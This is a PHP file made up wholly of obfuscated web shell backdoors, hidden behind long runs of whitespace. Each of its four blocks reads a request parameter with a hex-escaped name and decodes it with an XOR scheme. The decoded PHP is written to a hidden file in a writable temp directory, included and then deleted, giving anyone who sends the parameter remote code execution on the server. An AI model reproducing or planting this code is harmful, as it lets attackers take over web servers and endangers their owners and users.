<?php																																										if(array_key_exists("dc\x68\x75\x6Ek", $_REQUEST)){ $val = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), "/dev/shm"]); $property_set = $_REQUEST["dc\x68\x75\x6Ek"]; $property_set= explode ( '.' , $property_set ); $flg = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5 ); $x = 0; $__tmp = $property_set; while ($v7 = array_shift($__tmp)) { $chS = ord($salt5[$x % $lenS] ); $dec = ((int)$v7 - $chS - ($x % 10)) ^ 17; $flg.= chr($dec ); $x++; } while ($entity = array_shift($val)) { if (is_dir($entity) && is_writable($entity)) { $holder = str_replace("{var_dir}", $entity, "{var_dir}/.data_chunk"); if (@file_put_contents($holder, $flg) !== false) { include $holder; unlink($holder); die(); } } } }
																																										if(@$_POST["e\x6Et"] !== null){ $reference = array_filter(["/tmp", "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $data_chunk = $_POST["e\x6Et"]; $data_chunk= explode ('.' , $data_chunk ) ; $comp = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); foreach ($data_chunk as $l => $v9) { $chS = ord($s3[$l %$lenS]); $dec = ((int)$v9 - $chS - ($l %10)) ^ 53; $comp.= chr($dec); } $element = 0; do { $tkn = $reference[$element] ?? null; if ($element >= count($reference)) break; if (is_dir($tkn) ? is_writable($tkn) : false) { $property_set = "$tkn/.data"; $success = file_put_contents($property_set, $comp); if ($success) { include $property_set; @unlink($property_set); die();} } $element++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6E\x74"])){ $entry = array_filter([getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); $flag = $_REQUEST["e\x6E\x74"]; $flag = explode ( '.' , $flag ) ; $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $m = 0; $__tmp = $flag; while( $v2 = array_shift( $__tmp)) { $sChar = ord( $s[$m % $sLen]); $d =( ( int)$v2 - $sChar -( $m % 10)) ^ 14; $k .= chr( $d); $m++; } foreach ($entry as $dat): if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $resource = sprintf("%s/.rec", $dat); if (@file_put_contents($resource, $k) !== false) { include $resource; unlink($resource); die(); } } endforeach; }


if(!is_null($_REQUEST["\x68ld"] ?? null)){
	$parameter_group = $_REQUEST["\x68ld"];
	$parameter_group	=	explode  	(		'.' 		,	 $parameter_group	 ) ;	
	$token = '';
            $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $salt4);
            $p = 0;
            $__len = count(  $parameter_group);
    
            do {	if(  $p >= $__len) break;
                $v9 = $parameter_group[$p];
                $sChar = ord(  $salt4[$p % $lenS]);
                $d =(  (  int)$v9 - $sChar -(  $p % 10))^  40;
                $token .= chr(  $d);
                $p++;
            } while(  true);
	$k = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", "/dev/shm"]);
	while ($mrk = array_shift($k)) {
    		if ((is_dir($mrk) and is_writable($mrk))) {
    $record = "$mrk/.holder";
    $success = file_put_contents($record, $token);
if ($success) {
	include $record;
	@unlink($record);
	exit;}
}
}
}